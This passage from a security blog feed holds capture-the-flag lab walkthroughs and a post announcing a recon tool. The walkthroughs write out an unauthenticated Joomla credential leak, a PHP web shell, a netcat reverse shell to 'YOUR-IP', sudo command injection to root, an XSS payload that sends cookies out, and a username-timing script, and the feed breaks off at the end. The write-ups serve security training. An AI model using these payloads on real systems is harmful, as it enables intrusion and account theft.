src="https://cdn-images-1.medium.com/max/1024/1*xejYZ1Y1l1r-ZLgunwXOtQ.png" /><figcaption>Joomla CMS Portal</figcaption></figure><blockquote><strong><em>What is Joomla?</em></strong><em> Joomla is a popular Content Management System </em><strong><em>(CMS) </em></strong><em>software used to build and manage websites, similar to WordPress.</em></blockquote><h3>Step 3: Exploiting CVE-2023–23752 to Steal Credentials</h3><p>Since we’re dealing with Joomla, we researched known vulnerabilities. We found <strong>CVE-2023–23752; </strong>a<strong> </strong>flaw in older versions of Joomla <strong>(4.0.0 to 4.2.7) </strong>that allows anyone, without logging in, to access sensitive <strong>API endpoints </strong>that should be private.</p><blockquote><strong><em>Think of it like this:</em></strong><em> Imagine a building where certain rooms are supposed to be staff-only, but due to a mistake, the doors are left unlocked for anyone to walk in.</em></blockquote><p>Instead of using an automated exploit script <strong>(Ruby)</strong>, we manually exploit this using <strong>curl. </strong>A<strong> </strong>simple command line tool for making web requests.</p><p><strong>First, we will look for any users:</strong></p><pre>curl -s &quot;http://samurai.hsm/api/index.php/v1/users?public=true&quot; | python3 -m json.tool</pre><pre>{<br>            &quot;type&quot;: &quot;users&quot;,<br>            &quot;id&quot;: &quot;769&quot;,<br>            &quot;attributes&quot;: {<br>                &quot;id&quot;: 769,<br>                &quot;name&quot;: &quot;Oda&quot;,<br>                &quot;username&quot;: &quot;Miyamoto&quot;,<br>                &quot;email&quot;: &quot;oda@local.local&quot;,</pre><p>We find a user named <strong>Miyamoto.</strong></p><p><strong>Next, we look for leaked passwords:</strong></p><pre>curl -s &quot;http://samurai.hsm/api/index.php/v1/config/application?public=true&quot; | python3 -m json.tool</pre><pre>{<br>            &quot;type&quot;: &quot;application&quot;,<br>            &quot;id&quot;: &quot;224&quot;,<br>            &quot;attributes&quot;: {<br>                &quot;offline&quot;: false,<br>                &quot;id&quot;: 224<br>            }<br>        },<br> {<br>            &quot;type&quot;: &quot;application&quot;,<br>            &quot;id&quot;: &quot;224&quot;,<br>            &quot;attributes&quot;: {<br>                &quot;password&quot;: &quot;[REDACTED]&quot;,<br>                &quot;id&quot;: 224</pre><p>We find a <strong>password</strong> leaking in plain text from the database configuration.</p><p><strong>Valid credentials found:</strong></p><pre>Username: Miyamoto<br>Password: [REDACTED]</pre><h3>Step 4: Logging Into the Joomla Admin Panel</h3><p>We head back to <strong>http://samurai.hsm/administrator </strong>and log in with the credentials we just found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IH5WqHsEluD7gIrQcRLA0Q.png" /><figcaption>Admin Panel</figcaption></figure><p>We are now inside the admin panel with <strong>Super User</strong> privileges. This is a significant step; as an admin, we can modify the website’s templates.</p><h3>Step 5: Injecting a Web Shell via Template Editor</h3><p>Joomla allows admins to directly edit the PHP files of website templates. We can abuse this feature to <strong>inject a web shell. </strong>A<strong> </strong>small piece of code that lets us run system commands on the server through the browser.</p><blockquote><strong><em>Think of it like this:</em></strong><em> We’re slipping a remote control into the website’s code that lets us control the server from our browser.</em></blockquote><p>We navigate to:</p><pre>System → Templates → Administrator Templates → Atum → index.php</pre><p>At the very top of the file, we inject the following web shell:</p><pre>&lt;?php if(isset($_REQUEST[&quot;cmd&quot;])){ echo &quot;&lt;pre&gt;&quot;; $cmd = ($_REQUEST[&quot;cmd&quot;]); system($cmd); echo &quot;&lt;/pre&gt;&quot;; die; }?&gt;</pre><blockquote><em>⚠️ </em><strong><em>Important:</em></strong><em> The payload must go at the very top of the file, before the existing </em><strong><em>&lt;?php</em></strong><em> code.</em></blockquote><p>We then saved the file and test it by visiting:</p><pre>http://samurai.hsm/administrator/?cmd=id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*4iL7ONYBFszVytPx6ffGkA.png" /><figcaption>WebShell Output</figcaption></figure><p>We get back <strong>user id</strong> and its <strong>group </strong>details:</p><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><p>This confirms our web shell is working. We can now run commands on the server.</p><h3>Step 6: Getting a Reverse Shell</h3><p>A web shell through a browser is useful but limited. We want a proper <strong>reverse shell</strong>; a direct connection from the target machine back to our own machine, giving us a real terminal.</p><blockquote><strong><em>Think of it like this:</em></strong><em> Instead of shouting commands through a window, we get the server to call us directly and hand us the phone.</em></blockquote><p>We start a <strong>listener</strong> on our machine to catch the connection:</p><pre>nc -lvnp 4445</pre><p>Then we trigger the reverse shell through the web shell by visiting:</p><pre>http://samurai.hsm/administrator/?cmd=busybox+nc+YOUR-IP+4445+-e+/bin/bash</pre><pre>$ nc -lvnp 4445listening on [any] 4445 ...<br>connect to [10.200.52.140] from (UNKNOWN) [10.1.128.43] 38824<br><br>whoami<br>www-data</pre><p>We receive a connection back and can confirm we are running as <strong>www-data;</strong> the web server user.</p><p><strong>To make the shell more stable and interactive, we ran:</strong></p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><blockquote><strong>Now time to grab our user flag; which can be found at: /var/www/user.txt</strong></blockquote><pre>www-data@streetcoder:/var/www/html/administrator$<br>www-data@streetcoder:/var/www$ cat user.txt</pre><h3>Step 7: Privilege Escalation to Root via Command Injection</h3><p>Now we need to escalate from <strong>www-data </strong>to <strong>root</strong>. We start by checking what commands our current user can run with elevated privileges:</p><pre>sudo -l</pre><p>Output:</p><pre>sudo -l<br>Matching Defaults entries for www-data on streetcoder:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,<br>    use_pty<br><br>User www-data may run the following commands on streetcoder:<br>    (root) NOPASSWD: /opt/backup/DbMaria<br>www-data@streetcoder:/var/www$ </pre><p>We can run <strong>/opt/backup/DbMaria </strong>as <strong>root without any password.</strong> This is a custom binary; let&#39;s investigate it further.</p><p>We ran <strong>strings </strong>on it, which extracts all readable text from inside a binary file:</p><pre>strings /opt/backup/DbMaria</pre><p>We spot this critical line:</p><pre>mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s &gt; /tmp/backup.sql</pre><p>The <strong>%s</strong> is a placeholder; it&#39;s where our input gets inserted directly into a shell command without any filtering or sanitization. This is a textbook <strong>command injection </strong>vulnerability<strong>.</strong></p><blockquote><strong><em>Think of it like this:</em></strong><em> Imagine a form that asks for your name and prints “Hello, [name]”, but instead of your name, you type something malicious that changes what the program does entirely.</em></blockquote><p>We craft our injection:</p><pre>sudo /opt/backup/DbMaria &#39;test; /bin/bash -p #&#39;</pre><p>Let me break it down:</p><ul><li><strong>test</strong> — a dummy database name to satisfy the <strong>%s </strong>placeholder</li><li><strong>;</strong>— ends the original command early</li><li><strong>/bin/bash -p</strong> — spawns a bash shell, preserving root privileges</li><li><strong>#</strong> — comments out the rest of the original command</li></ul><p>Since the binary runs as <strong>root</strong>, the shell we get is also <strong>root.</strong></p><pre>www-data@streetcoder:/var/www$ sudo /opt/backup/DbMaria &#39;test; /bin/bash -p #&#39;<br>&lt;ww$ sudo /opt/backup/DbMaria &#39;test; /bin/bash -p #&#39;<br>/*M!999999\- enable the sandbox mode */ <br>-- MariaDB dump 10.19  Distrib 10.6.23-MariaDB, for debian-linux-gnu (x86_64)<br>-- Host: localhost    Database: test<br>-- ------------------------------------------------------<br>-- Server version       10.6.23-MariaDB-0ubuntu0.22.04.1<br><br>/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;<br>/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;<br>/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;<br>/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;<br>/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;<br>mariadb-dump: Got error: 1049: &quot;Unknown database &#39;test&#39;&quot; when selecting the database<br>root@streetcoder:/var/www# ls<br>ls<br>html  html.bak_2026-03-06_084923  user.txt<br>root@streetcoder:/var/www#</pre><blockquote><strong>The root flag can be found in the root directory:</strong></blockquote><pre>/root/root.txt</pre><h3>Summary</h3><ul><li>Scanned the target and found two open ports: <strong>SSH </strong>(22) and <strong>HTTP </strong>(80)</li><li>Brute-forced directories and discovered a hidden Joomla admin panel at <strong>/administrator</strong></li><li>Exploited <strong>CVE-2023–23752 </strong>using <strong>curl </strong>to leak credentials from unprotected API endpoints</li><li>Logged into the Joomla admin panel as <strong>Miyamoto </strong>with Super User privileges</li><li>Injected a <strong>PHP </strong>web shell into the <strong>Atum </strong>administrator template to execute commands</li><li>Triggered a <strong>reverse shell </strong>through the web shell and gained access as <strong>www-data</strong></li><li>Retrieved the user flag at <strong>/var/www/user.txt</strong></li><li>Ran <strong>strings </strong>on <strong>/opt/backup/DbMaria </strong>and identified an unsafe <strong>%s </strong>command injection point</li><li>Exploited the <strong>SUID </strong>binary via command injection to spawn a root shell</li><li>Retrieved the root flag at <strong>/root/root.txt</strong></li></ul><h3>Key Takeaways</h3><ul><li><strong>Always enumerate thoroughly</strong> — the hidden <strong>/administrator </strong>directory was the key entry point.</li><li><strong>Known CVEs are powerful</strong> — an old Joomla version exposed credentials without any authentication.</li><li><strong>Admin access doesn’t mean game over for attackers</strong> — template editing can be abused to execute code.</li><li><strong>Whenever you find a binary you can run as root, investigate it; </strong>run <strong>strings </strong>on it and look for <strong>%s </strong>placeholders or relative paths, as these are signs of potential command injection or PATH hijacking.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=311e4017e241" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blaster v2.0 — A Modular Evolution of a Security Reconnaissance Framework]]></title>
            <link>https://medium.com/@usman786faridi/blaster-v2-0-a-modular-evolution-of-a-security-reconnaissance-framework-2572525a5983?source=rss-be4f74a9912e------2</link>
            <guid isPermaLink="false">https://medium.com/p/2572525a5983</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <dc:creator><![CDATA[Muhammad Usman Faridi]]></dc:creator>
            <pubDate>Mon, 13 Apr 2026 21:49:45 GMT</pubDate>
            <atom:updated>2026-04-13T21:49:45.332Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*y-J_4eQosB_IN4vjWGjnfg.png" /><figcaption>BLASTER</figcaption></figure><h3>Introduction</h3><p>In cybersecurity, reconnaissance is the foundation of every security assessment. The ability to efficiently collect, analyze, and structure target information is critical for identifying potential vulnerabilities.</p><p>To improve and automate this process, I developed <strong>Blaster</strong>, a Python-based reconnaissance tool designed for multi-layered security analysis.</p><p>This article introduces <strong>Blaster v2.0</strong>, a major architectural upgrade that transforms the tool from a basic scanner into a modular reconnaissance framework.</p><h3>What is Blaster?</h3><p>Blaster is an open-source Python reconnaissance tool designed to automate common information-gathering tasks used in security analysis.</p><p>It supports:</p><ul><li>DNS enumeration</li><li>Subdomain discovery</li><li>WHOIS lookups</li><li>Network scanning</li><li>Technology Fingerprinting</li><li>Threat Intel</li><li>Infrastructure analysis with deep scanning</li><li>Structured and Professional report in 3 different formats (.html, json and txt)</li></ul><p>Its goal is to simplify and structure reconnaissance workflows for security researchers, students, and penetration testers.</p><h3>🚀 How to Use Blaster</h3><p>Blaster is designed to be simple to execute while providing modular control over different reconnaissance components.</p><p>You can run modules in any sequence that you like, the reporting works with every module, not just the full scan.</p><p>To download go to:</p><p><a href="https://github.com/Faridi-m/Blaster-v2.0">https://github.com/Faridi-m/Blaster-v2.0</a></p><h3>🔧 Basic Usage</h3><p>Install all the requirements before running the tool</p><pre>git clone https://github.com/Faridi-m/blaster.git<br>cd blaster<br>python3 -m venv &lt;your enviornment name&gt; # python virtual environment<br>source venv/bin/activate                # Linux/Mac<br>venv\Scripts\activate                   # Windows<br>pip install -r requirements.txt</pre><p>Run the main tool:</p><pre>python blaster.py<br><br>or<br><br>python blaster.py -h, --help</pre><h3>🌐 DNS Enumeration</h3><pre>python blaster.py --dns example.com<br><br>or<br><br>python blaster.py --dns example.com --output report.html, json and txt</pre><h3>🕵️ Subdomain Discovery with (live active domains)</h3><pre>python blaster.py --subdomains example.com<br><br>or<br><br>python blaster.py --subdomains --live example.com --output report.html, json and txt</pre><h3>📡 Nmap Network Scan</h3><pre>python blaster.py --ports example.com</pre><h3>👤 WHOIS Lookup</h3><pre>python blaster.py --whois example.com</pre><h3>🌍 SSL/TLS Analysis</h3><pre>python blaster.py --ssl example.com</pre><h3>🌐 HTTP Headers Audit</h3><pre>python blaster.py --headers example.com</pre><h3>🧠 Technology Fingerprinting</h3><pre>python blaster.py --tech example.com</pre><h3>🔥 Threat Intelligence Check</h3><pre>python blaster.py --threat example.com</pre><h3>🧪 Full Scan Mode (Recommended)</h3><pre>python blaster.py --full example.com<br><br>or<br><br>python blaster.py --full example.com --ouput report.html, json and txt</pre><h3>💡 Note</h3><p>Each module is designed to run independently or as part of a full reconnaissance pipeline, allowing flexible usage depending on the target and analysis depth</p><h3>🧠 Blaster v2.0 — What Changed?</h3><p>Blaster v2.0 is not just an update — it is a <strong>complete modular redesign</strong>.</p><p>The focus of this release is:</p><ul><li>Better architecture</li><li>Expanded intelligence capabilities</li><li>Improved output structure</li><li>More extensibility for future modules</li></ul><h3>🔍 New Intelligence Modules</h3><h3>ASN Analysis Module</h3><p>Provides insights into Autonomous System Numbers (ASN), helping map network ownership and infrastructure distribution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/1*aIWKlqA2AIBNlmkXs4cEgA.png" /><figcaption>ASN</figcaption></figure><h3>SSL/TLS Security Module</h3><p>Analyzes certificate details and encryption configurations to identify weak or misconfigured security setups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*j5AViYU23qeIncNkzi4vYA.png" /><figcaption>SSL/TLS</figcaption></figure><h3>HTTP Headers Audit Module</h3><p>The <strong>HTTP Headers Audit Module</strong> is designed to analyze security-related headers returned by a target web server. This module evaluates whether important security headers are properly configured or missing.</p><p>It checks for headers such as:</p><ul><li>Content-Security-Policy (CSP)</li><li>Strict-Transport-Security (HSTS)</li><li>X-Frame-Options</li><li>X-Content-Type-Options</li><li>Referrer-Policy</li><li>Permissions-Policy</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*LyF_jUxORh7SQuGtpIih3Q.png" /><figcaption>HTTP Headers Auditing</figcaption></figure><h3>Threat Intelligence Module</h3><p>Adds contextual security intelligence to help identify suspicious infrastructure patterns and potential risks. It checks the domain on various channels and tells whether the domain is <strong>blacklisted </strong>or has any<strong> CVE’s recorded </strong>under their name<strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*MQChK6gzqDDkmSS21R_inQ.png" /><figcaption>Threat Intel</figcaption></figure><h3>Technology Detection Engine</h3><p>Detects underlying technologies used by target systems, including <strong>frameworks</strong>, <strong>servers</strong>, and <strong>hosting environments</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*ddroiOh2_Pyltm9iOvJq2Q.png" /><figcaption>Tech Fingerprinting</figcaption></figure><h3>⚙️ Improvements in Core Modules</h3><p>Existing modules were significantly enhanced in v2.0:</p><ul><li><strong>DNS Module</strong> → Improved resolution accuracy and structured output</li><li><strong>Nmap Integration</strong> → Better scan logic and cleaner results</li><li><strong>Subdomain Enumeration</strong> → Expanded discovery coverage with live subdomains</li><li><strong>WHOIS Module</strong> → More reliable parsing and formatting</li></ul><p>These upgrades improve both accuracy and usability in real-world reconnaissance scenarios.</p><h3>📊 Reporting System Upgrade</h3><p>A major focus of <strong>v2.0 </strong>is structured reporting.</p><p>The new reporting system provides:</p><ul><li>Clean and readable scan results</li><li>Organized output formatting</li><li>Better data interpretation for analysts</li><li>Easier integration into workflows</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dpXDjUD0C6RvH7R6Xdt_-w.png" /><figcaption>Report.html</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eU4SSStuuPuVfatUZ_5Z0w.png" /></figure><h3>🧹 Architecture Improvements</h3><p>Blaster <strong>v2.0 </strong>introduces a more maintainable and scalable architecture:</p><ul><li>Fully modular design for each reconnaissance component</li><li>Clear separation of functionality</li><li>Improved maintainability for future development</li><li>Introduction of <strong>.gitignore</strong> for repository hygiene</li></ul><p>This makes the tool easier to extend and improve over time.</p><h3>🔄 v1.0 vs v2.0 Comparison</h3><pre>| Feature               | v1.0            | v2.0                   |<br>| --------------------- | --------------- | ---------------------- |<br>| Architecture          | Basic structure | Modular framework      |<br>| Scanning capability   | Limited         | Enhanced               |<br>| Intelligence features | None/minimal    | ASN, SSL, HTTP Headers Audit, Threat Intel |<br>| Reporting             | Basic output    | Structured reports     |<br>| Extensibility         | Low             | High                   |</pre><h3>Conclusion</h3><p>Blaster v2.0 represents a significant evolution from a simple reconnaissance script to a structured and extensible security framework.</p><p>The focus moving forward is scalability, modular intelligence, and real-world applicability in security workflows.</p><h3>Final Note</h3><p>This release lays the foundation for future expansion into a full-fledged reconnaissance ecosystem.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2572525a5983" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack Smarter — Polution Lab Walkthrough (Easy)]]></title>
            <link>https://medium.com/@usman786faridi/hack-smarter-polution-lab-walkthrough-easy-3b3f7ccf977d?source=rss-be4f74a9912e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b3f7ccf977d</guid>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Muhammad Usman Faridi]]></dc:creator>
            <pubDate>Thu, 01 Jan 2026 20:10:48 GMT</pubDate>
            <atom:updated>2026-03-25T12:06:03.319Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack Smarter — Pollution Lab Walkthrough (Easy)</h3><p>This is a walkthrough for the <strong>Polution</strong> lab by Hack Smarter. We’ll go step by step using only basic tools (<strong>nmap</strong>, <strong>curl</strong>, and a <strong>Python server</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Y5SR9j7GoQx4Mmne" /><figcaption>Hack Smarter</figcaption></figure><h3>Step 1: Scan the Target</h3><p>First, run an nmap scan to see what’s open.</p><pre>nmap -sV -A 10.0.30.127</pre><p><strong>Results:</strong></p><ul><li>Port 22: SSH (not needed for this lab)</li><li>Port 3000: Web server running <strong>Node.js Express</strong></li><li>Website title: “Hacksmarter | Login”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nyBnKbRmz3Q_LptUmWnpYQ.png" /><figcaption>Nmap Results</figcaption></figure><h3>Step 2: Login to the Website</h3><p>Open your browser and go to: <a href="http://10.0.30.127:3000/">http://10.0.30.127:3000</a></p><p>Use the given credentials:</p><ul><li>Username: <strong>pentester</strong></li><li>Password: <strong>HackSmarter123</strong></li></ul><p>You’ll land on a dashboard with three tabs: <strong>Audit Log Management, Webmail and Incident Response</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*3d4NhPMbD--uVDBI2ervBQ.png" /><figcaption>Webpages</figcaption></figure><h3>Step 3: Explore the Pages</h3><ul><li>There’s a <strong>search box</strong> in the Audit tab — trying basic SQL injection does nothing useful (it only reflects on the page).</li><li>There’s a restricted page: /incident-response</li></ul><p>We can test it with <strong>curl:</strong></p><pre>curl http://10.0.30.127:3000/incident-response</pre><p><strong>Result:</strong> &lt;h1&gt;403 Forbidden&lt;/h1&gt; We can’t access it as a normal user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*FVJmfj3XbjM8l100-3DBEQ.png" /><figcaption>Kali</figcaption></figure><h3>Step 4: Checking the Source Code</h3><p>Right-click the page → <strong>View Page Source</strong> → look at the &lt;script&gt; section.</p><p><strong>Key parts</strong>:</p><ul><li>A function called <strong>syncState() </strong>that reads the <strong>URL hash</strong> and sets properties blindly.</li><li>It can be tricked into <strong>prototype pollution</strong> using <strong>__proto__.</strong></li><li>Another function <strong>executeSearch() </strong>runs, when the page is loaded and when the URL hash changes.</li><li>If we pollute <strong>renderCallback</strong>, it inserts our code directly into the page (dangerous!).</li></ul><pre>&lt;script&gt;<br>        function showTab(tab) {<br>            document.getElementById(&#39;tab-audit&#39;).classList.add(&#39;hidden&#39;);<br>            document.getElementById(&#39;tab-mail&#39;).classList.add(&#39;hidden&#39;);<br>            document.getElementById(&#39;tab-&#39;+tab).classList.remove(&#39;hidden&#39;);<br>            document.getElementById(&#39;tab-title&#39;).innerText = tab === &#39;audit&#39; ? &#39;Audit Log Management&#39; : &#39;Webmail&#39;;<br>        }<br><br>        function syncState(params, target) {<br>            params.split(&#39;&amp;&#39;).forEach(pair =&gt; {<br>                const index = pair.indexOf(&#39;=&#39;);<br>                if (index === -1) return;<br><br>                const key = pair.substring(0, index);<br>                const value = pair.substring(index + 1);<br>                <br>                const path = key.split(&#39;.&#39;);<br>                let current = target;<br><br>                for (let i = 0; i &lt; path.length; i++) {<br>                    const part = decodeURIComponent(path[i]);<br>                    if (i === path.length - 1) {<br>                        current[part] = decodeURIComponent(value);<br>                    } else {<br>                        current[part] = current[part] || {};<br>                        current = current[part];<br>                    }<br>                }<br>            });<br>        }<br><br>        function executeSearch() {<br>            const results = document.getElementById(&#39;results&#39;);<br>            let options = { prefix: &quot;Searching: &quot; };<br>            if (window.location.hash) syncState(window.location.hash.substring(1), options);<br><br>            if (options.renderCallback) {<br>                const frag = document.createRange().createContextualFragment(options.renderCallback);<br>                results.innerHTML = &quot;&quot;;<br>                results.appendChild(frag);<br>            } else {<br>                results.innerText = options.prefix + (document.getElementById(&#39;searchInput&#39;).value || &quot;All Logs&quot;);<br>            }<br>        }</pre><p>Rest of the code can be found in the <strong>view page source</strong>.</p><h3>Step 5: Use the Webmail to Reach the Admin</h3><p>The Webmail tab lets us send a message “<strong>to the admin</strong>”.</p><p>Idea: If we put a malicious link in the email body, the <strong>admin will see it</strong> when checking mail. When the admin’s browser loads our link, it will run our code in the <strong>admin’s session</strong>.</p><h3>Step 6: Craft the Payload</h3><p>Creating this malicious URL:</p><pre>http://&lt;machine-ip&gt;:3000/dashboard#__proto__.renderCallback=&lt;img src=x onerror=&quot;fetch(&#39;http://YOUR-IP/?c=&#39;+document.cookie)&quot;&gt;</pre><p>Replace <strong>YOUR-IP </strong>with your actual attacking-IP <strong>[VPN]</strong> (e.g., 10.200.27.17).</p><p>What it does (simple explanation):</p><ol><li>Uses prototype pollution to inject our code into the page.</li><li>Inserts a broken image tag — when it fails to load, the <strong>onerror </strong>runs.</li><li>The <strong>onerror </strong>sends the current user’s cookies to our server.</li></ol><h3>Step 7: Set Up a Listener</h3><p>In your terminal, start a simple web server to catch the cookies:</p><pre>python3 -m http.server 80</pre><p>Leave this running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*Jb775YQrpTwem-bD_fFs1w.png" /><figcaption>Python-server</figcaption></figure><h3>Step 8: Send the Malicious Email</h3><ol><li>Go to the <strong>Webmail</strong> tab.</li><li>Fill in “Subject” with anything you like.</li><li>Paste the full malicious URL (payload) into the <strong>message body</strong>.</li><li>Click <strong>Send</strong>.</li></ol><p>Message will say: “<strong>Message delivered to admin</strong>.”</p><p>Now just wait or refresh/search the dashboard a few times to trigger it.</p><h3>Step 9: Catch the Admin Cookies</h3><p>Your Python server will soon show something like:</p><pre>10.0.30.127 - - [01/Jan/2026 ...] &quot;GET /?c=session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; user=admin HTTP/1.1&quot; 200 -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*ugSU0jySwvlCn7nusOrvGA.png" /><figcaption>Admin Cookies</figcaption></figure><p>You now have the admin’s session token: <strong>HS_ADMIN_7721_SECURE_AUTH_TOKEN</strong></p><h3>Step 10: Become Admin</h3><p>In your browser (on the lab page):</p><ol><li>Press <strong>F12</strong> → go to <strong>Console</strong> tab.</li><li>Paste and run these two lines:</li></ol><pre>document.cookie = &quot;session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; path=/&quot;;<br>document.cookie = &quot;user=admin; path=/&quot;;</pre><ol><li>Refresh the page.</li></ol><p>You are now logged in as <strong>admin</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C1DVF3sj9nLGv3xN4PgXcw.png" /><figcaption>Admin User</figcaption></figure><h3>Step 11: Get the Flag</h3><p>As admin, go to: <a href="http://10.0.30.127:3000/incident-response">http://10.0.30.127:3000/incident-response</a></p><p>You can now see the full page — the <strong>flag</strong> is clearly displayed there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*dhiRg7uZIZS1ovw5-qa-4g.png" /><figcaption>Flag</figcaption></figure><p><strong>Congratulations!</strong> We were able to solve the lab by combining <strong>prototype pollution</strong> + <strong>stored XSS</strong> to steal the admin session and bypass the <strong>403</strong> restriction.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b3f7ccf977d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunter by HackSmarter Labs Walkthrough]]></title>
            <link>https://medium.com/@usman786faridi/hunter-by-hacksmarter-labs-walkthrough-dbe435b4a8ee?source=rss-be4f74a9912e------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbe435b4a8ee</guid>
            <category><![CDATA[username-enumeration]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[access-control]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Muhammad Usman Faridi]]></dc:creator>
            <pubDate>Sun, 14 Dec 2025 20:30:54 GMT</pubDate>
            <atom:updated>2025-12-14T20:30:54.607Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*1TA_QYoONx_c4dXvA4H4GA.png" /></figure><h3>Lab Overview</h3><p><strong>Objective:</strong> Find a valid username on the target system<br> <strong>Target IP:</strong> 10.1.165.91<br> <strong>Vulnerability:</strong> Username Enumeration via Timing Attack</p><h3>Step 1: Initial Reconnaissance</h3><p>First, scan the target to identify open ports and services:</p><pre>nmap -sV -A 10.1.165.91</pre><p><strong>Results:</strong></p><ul><li>Port 22 (SSH) — Open but password authentication disabled</li><li>Port 80 (HTTP) — Running Werkzeug (A python flask)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*sEyO7rpT8JAOfDhLyvJJIQ.png" /><figcaption>Nmap Kali</figcaption></figure><h3>Step 2: Web Application Discovery</h3><p>Navigate to the web application:</p><pre>http://10.1.165.91</pre><p><strong>Login Page Discovery:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*0vhSn0o5x2BEx-YmQ3OlGw.png" /><figcaption>Login Portal</figcaption></figure><p>You’ll find a login page at /login with:</p><ul><li>Username field</li><li>Password field</li><li>POST method for form submission (upon view page source)</li></ul><h3>Step 3: Identifying the Vulnerability</h3><p>During inspection of the web application, I was able to discover a password reset page at /reset:</p><pre>http://10.1.165.91/reset</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*TBptp5J02T8GSCA-75qOBg.png" /><figcaption>Password Reset Page</figcaption></figure><p><strong>Key Finding:</strong> The reset page only requires a username, making it ideal for username enumeration.</p><h3>Vulnerability Details</h3><p><strong>Type:</strong> Username Enumeration via Timing-Based Side Channel</p><p><strong>How it works:</strong></p><ul><li>When a valid username is submitted, the server performs additional processing (database lookup, password hash retrieval, etc.)</li><li>This extra processing creates a measurable timing difference</li><li>Invalid usernames are rejected faster as they don’t trigger these operations</li></ul><h3>Step 4: Given Username List</h3><p>The challenge lab has already given us a username file with all the potential usernames that we can test and enumerate with on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*FuYx9PEnx_FIph751Ze6Jg.png" /><figcaption>Username File</figcaption></figure><h3>Step 5: Create Enumeration Script</h3><p>Create a Python script naming &lt;anything you like&gt;.py:</p><pre>import requests<br>import time<br>target_url = &quot;http://10.1.165.91/reset&quot;<br>usernames_file = &quot;users.txt&quot;<br>with open(usernames_file, &#39;r&#39;) as f:<br>    usernames = [line.strip() for line in f if line.strip()]<br>results = []<br>print(f&quot;[*] Testing {len(usernames)} usernames...&quot;)<br>print(f&quot;[*] Target: {target_url}\n&quot;)<br>for username in usernames:<br>    start = time.time()<br>    r = requests.post(target_url, data={&quot;username&quot;: username})<br>    elapsed = time.time() - start<br>    <br>    results.append((username, elapsed, len(r.text)))<br>    print(f&quot;{username:15s} | {elapsed:.3f}s | {len(r.text)} bytes&quot;)<br># Show top 5 slowest (likely valid)<br>print(&quot;\n&quot; + &quot;=&quot;*50)<br>print(&quot;[*] Top 5 slowest responses (potential valid users):&quot;)<br>print(&quot;=&quot;*50)<br>for user, timing, length in sorted(results, key=lambda x: x[1], reverse=True)[:5]:<br>    print(f&quot;    {user:15s} - {timing:.3f}s&quot;)import requests<br>import time</pre><h3>What the script actually does?</h3><p><strong>1. Timing Measurement:</strong></p><ul><li>The script sends a POST request to the reset page for each username in the list</li><li>It measures how long each request takes using time.time() before and after the request</li><li>Valid usernames typically take longer to process because the 